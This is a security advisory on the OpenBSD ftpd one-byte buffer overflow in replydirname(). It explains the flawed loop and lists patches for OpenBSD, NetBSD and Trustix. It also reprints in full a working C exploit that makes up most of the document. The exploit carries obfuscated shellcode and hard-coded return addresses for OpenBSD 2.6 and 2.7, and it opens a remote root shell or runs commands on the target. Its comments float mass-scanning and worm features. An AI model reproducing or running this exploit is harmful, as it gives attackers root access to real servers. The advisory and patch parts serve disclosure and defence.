|
Vulnerability ftpd Affected BSD ftp Description Following is based on a OpenBSD Security Advisory. A relatively obscure one-byte buffer overflow bug present in ftpd(8) turns out to be a serious problem, yielding remote users root access under certain conditions. For a system to be vulnerable, ftpd must have been explicitly enabled by the administrator (OpenBSD ships with it OFF by default) and the attacker must have write access to at least one directory. Therefore, anonymous read-only FTP servers are safe (we recommend applying the patch regardless, of course). Non-anonymous FTP administrators should seriously consider using a more secure transport like SSH. The offending code is as follows: char npath[MAXPATHLEN]; int i; for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) { npath[i] = *name; if (*name == '"') npath[++i] = '"'; } npath[i] = '\0'; In <sys/param.h>, MAXPATHLEN is defined to be 1024 bytes. The for() construct here correctly bounds variable `i' to be < 1023, such that when the loop has ended, no byte past npath[1023] may be written with '\0'. However, since `i' is also incremented in the nested statements here, it can become as large as 1024, and npath[1024] is past the end of the allocated buffer space. The original bug report comes from here: http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/ This vulnerability was first reported to OpenBSD Kristian Vlaardingerbroek through the mailing list. Kristian acknowledged in a later post that it was Ronald (a.k.a. Scrippie) who originally found the bug. /* h0h0h0 0-day k0d3z Exploit by Scrippie, help by dvorak and jimjones greets to sk8 Not fully developt exploit but it works most of the time ;) Things to add: - automatic writeable directory finding - syn-scan option to do mass-scanning - worm capabilities? (should be done seperatly using the -C option 11/13/2000 */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> void usage(char *program); char *strcreat(char *, char *, int); char *longToChar(unsigned long); char *xrealloc(void *, size_t); void xfree(char **ptr); char *xmalloc(size_t); int xconnect(char *host, u_short port); void xsend(int fd, char *buf); void xsendftpcmd(int fd, char *command, char *param); void xrecieveall(int fd, char *buf, int size); void xrecieve(int fd, char *buf, int size); void ftp_login(int fd, char *user, char *password); void exploit(int fd); int verbose = 0; /* Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask to get rid of dots and slashes. */ char heavenlycode[] = "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80" "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3"; char user[255] = "anonymous"; char pass[255] = "anonymous@abc.com"; char write_dir[PATH_MAX] = "/"; int ftpport = 21; unsigned long int ret_addr = 0; #define CMD_LOCAL 0 #define CMD_REMOTE 1 int command_type = -1; char *command = NULL; struct typeT { char *name; unsigned long int ret_addr; }; #define NUM_TYPES 2 struct typeT types[NUM_TYPES] = { "OpenBSD 2.6", 0xdfbfd0ac, "OpenBSD 2.7", 0xdfbfd0ac}; void usage(char *program) { int i; fprintf(stderr, "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n" "Directory should be an absolute path, writable by the user.\n" "The argument of -c will be executed on the remote host\n" "while the argument of -C will be executed on the local\n" "with its filedescriptors connected to the remote host\n" "Valid types:\n", program); for (i = 0; i < NUM_TYPES; i++) { printf("%d : %s\n", i, types[i].name); } exit(-1); } main(int argc, char **argv) { unsigned int i; int opt, fd; unsigned int type = 0; char *hostname = "localhost"; if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) { switch (opt) { case 'h': hostname = optarg; break; case 'C': command = optarg; command_type = CMD_LOCAL; break; case 'c': command = optarg; command_type = CMD_REMOTE; break; case 'r': ret_addr = strtoul(optarg, NULL, 0); break; case 'v': verbose++; break; case 'f': if (!(ftpport = atoi(optarg))) { fprintf(stderr, "Invalid destination port - %s\n", optarg); exit(-1); } exit(-1); break; case 'u': strncpy(user, optarg, sizeof(user) - 1); user[sizeof(user) - 1] = 0x00; break; case 'p': strncpy(pass, optarg, sizeof(pass) - 1); pass[sizeof(pass) - 1] = 0x00; break; case 'd': strncpy(write_dir, optarg, sizeof(write_dir) - 1); write_dir[sizeof(write_dir) - 1] = 0x00; if ((write_dir[0] != '/')) usage(argv[0]); if ((write_dir[strlen(write_dir) - 1] != '/')) strncat(write_dir, "/", sizeof(write_dir) - 1); break; case 't': type = atoi(optarg); if (type > NUM_TYPES) usage(argv[0]); break; default: usage(argv[0]); } } if (ret_addr == 0) ret_addr = types[type].ret_addr; if ((fd = xconnect(hostname, ftpport)) == -1) exit(-1); else printf("Connected to remote host! Sending evil codes.\n"); ftp_login(fd, user, pass); exploit(fd); } int ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg) { xsendftpcmd(fd, command, param); xrecieveall(fd, res, size); if (res == NULL) return 0; if (verbose) printf("%s\n", res); if (msg && (res[0] != '2')) { fprintf(stderr, "%s\n", msg); exit(-1); } return (res[0] != '2'); } void shell(int fd) { fd_set readfds; char buf[1]; char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n"; write(fd, tst, strlen(tst)); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(fd, &readfds); select(fd + 1, &readfds, NULL, NULL, NULL); if (FD_ISSET(0, &readfds)) { if (read(0, buf, 1) != 1) { perror("read"); exit(1); } write(fd, buf, 1); } if (FD_ISSET(fd, &readfds)) { if (read(fd, buf, 1) != 1) { perror("read"); exit(1); } write(1, buf, 1); } } } void do_command(int fd) { char buffer[1024]; int len; if (command_type == CMD_LOCAL) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(command, command, NULL); exit (2); } write(fd, command, strlen(command)); write(fd, "\n", 1); while ((len = read(fd, buffer, sizeof(buffer))) > 0) { write(1, buffer, len); } exit (0); } void execute_command(fd) { } int exploit_ok(int fd) { char result[1024]; xsend(fd, "id\n"); xrecieve(fd, result, sizeof(result)); return (strstr(result, "uid=") != NULL); } void exploit(int fd) { char res[1024]; int heavenlycode_s; char *dir = NULL; ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir"); dir = strcreat(dir, "A", 255 - strlen(write_dir)); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 256 */ dir = strcreat(dir, "A", 255); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 512 */ heavenlycode_s = strlen(heavenlycode); dir = strcreat(dir, "A", 254 - heavenlycode_s); dir = strcreat(dir, heavenlycode, 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 768 */ dir = strcreat(dir, longToChar(ret_addr), 252 / 4); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* length = 1020 */ /* 1022 moet " zijn */ dir = strcreat(dir, "AAA\"", 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* and tell it to blow up */ ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL); if (!exploit_ok(fd)) { if (command != NULL) { exit (2); } fprintf(stderr, "Exploit failed\n"); exit (1); } if (command == NULL) shell(fd); else do_command(fd); } char * strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen = 0; int i; if (dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *) xrealloc(dest, dlen + repeat * plen + 1); if (!dest) ret[0] = 0x00; for (i = 0; i < repeat; i++) { strcat(ret, pattern); } return (ret); } char * longToChar(unsigned long blaat) { char *ret; ret = (char *) xmalloc(sizeof(long) + 1); memcpy(ret, &blaat, sizeof(long)); ret[sizeof(long)] = 0x00; return (ret); } char * xrealloc(void *ptr, size_t size) { char *wittgenstein_was_a_drunken_swine; if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) { fprintf(stderr, "Cannot calculate universe\n"); exit(-1); } return (wittgenstein_was_a_drunken_swine); } void xfree(char **ptr) { if (!ptr || !*ptr) return; free(*ptr); *ptr = NULL; } char * xmalloc(size_t size) { char *heidegger_was_a_boozy_beggar; if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) { fprintf(stderr, "Out of cheese error\n"); exit(-1); } return (heidegger_was_a_boozy_beggar); } int xconnect(char *host, u_short port) { struct hostent *he; struct sockaddr_in s_in; int fd; if ((he = gethostbyname(host)) == NULL) { perror("gethostbyname"); return (-1); } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); return (-1); } if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) { perror("connect"); return (-1); } return fd; } /* returns status from ftpd */ void ftp_login(int fd, char *user, char *password) { char reply[512]; int rep; xrecieveall(fd, reply, sizeof(reply)); if (verbose) { printf("Logging in ..\n"); printf("%s\n", reply); } xsendftpcmd(fd, "USER", user); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); xsendftpcmd(fd, "PASS", password); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); if (reply[0] != '2') { printf("Login failed.\n"); exit(-1); } } void xsendftpcmd(int fd, char *command, char *param) { xsend(fd, command); if (param != NULL) { xsend(fd, " "); xsend(fd, param); } xsend(fd, "\r\n"); } void xsend(int fd, char *buf) { if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { perror("send"); exit(-1); } } void xrecieveall(int fd, char *buf, int size) { char scratch[6]; if (buf == NULL || size == 0) { buf = scratch; size = sizeof(scratch); } memset(buf, 0, size); do { xrecieve(fd, buf, size); } while (buf[3] == '-'); } /* recieves a line from the ftpd */ void xrecieve(int fd, char *buf, int size) { char *end; char ch; end = buf + size; while (buf < end) { if (read(fd, buf, 1) != 1) { perror("read"); /* XXX */ exit(-1); } if (buf[0] == '\n') { buf[0] = '\0'; return; } if (buf[0] != '\r') { buf++; } } buf--; while (read(fd, buf, 1) == 1) { if (buf[0] == '\n') { buf[0] = '\0'; return; } } perror("read"); /* XXX */ exit(-1); } Solution A fix for this problem was committed on December 4th. OpenBSD developers became aware of a publicly available exploit on December 17th. This vulnerability affects OpenBSD versions through 2.8. FreeBSD is reportedly not vulnerable. NetBSD is vulnerable to the same bug and a patch was applied to their tree on December 14th. Patch for OpenBSD 2.8: Index: libexec/ftpd/ftpd.c =================================================================== RCS file: /cvs/src/libexec/ftpd/ftpd.c,v retrieving revision 1.79 diff -u -r1.79 ftpd.c --- libexec/ftpd/ftpd.c 2000/09/15 07:13:45 1.79 +++ libexec/ftpd/ftpd.c 2000/12/05 17:06:29 @@ -1959,15 +1959,21 @@ replydirname(name, message) const char *name, *message; { + char *p, *ep; char npath[MAXPATHLEN]; - int i; - for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) { - npath[i] = *name; - if (*name == '"') - npath[++i] = '"'; + p = npath; + ep = &npath[sizeof(npath) - 1]; + while (*name) { + if (*name == '"' && ep - p >= 2) { + *p++ = *name++; + *p++ = '"'; + } else if (ep - p >= 1) + *p++ = *name++; + else + break; } - npath[i] = '\0'; + *p = '\0'; reply(257, "\"%s\" %s", npath, message); } For Trustix: For version 1.2: ftpd-BSD-0.3.2-4tr.i586.rpm ftpd-BSD-0.3.2-4tr.src.rpm For version 1.1 and 1.0: ftpd-BSD-0.3.2-4tr.i586.rpm ftpd-BSD-0.3.2-4tr.src.rpm Get these updates at: ftp://ftp.trustix.net/pub/Trustix/updates/ http://www.trustix.net/pub/Trustix/updates/ Users of 1.0x and 1.1 should go to the 1.1 directory, while users of 1.2 should use the packages available in the 1.2 directory. Systems running NetBSD-current dated from before December 4, 2000 should be upgraded to NetBSD-current dated December 4, 2000 or later. Systems running releases older than NetBSD 1.4 should be upgraded to NetBSD 1.4.3 before applying the fixes described here. Systems running NetBSD 1.4.3 should apply the patch contained in ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.4.3 Systems running NetBSD 1.5 should apply the patch contained in ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.5 Different patches are needed because the vulnerable function was moved from ftpd.c to cmds.c. Sam Trenholme patched David Madore's Linux port of OpenBSD's ftpd against the problems present in replydirname(). While the word is that Linux is not currently exploitable, it is better to be safe than sorry. He also patched against the setproctitle() problems previously reported, even though they are a non-issue due to the manner David Madore ported OpenBSD's FTPD to Linux. The patches are against the 0.2.3 release of ftpd-BSD (David Madore's name for the port), and are available in RPM format here: http://www.samiam.org/rpms/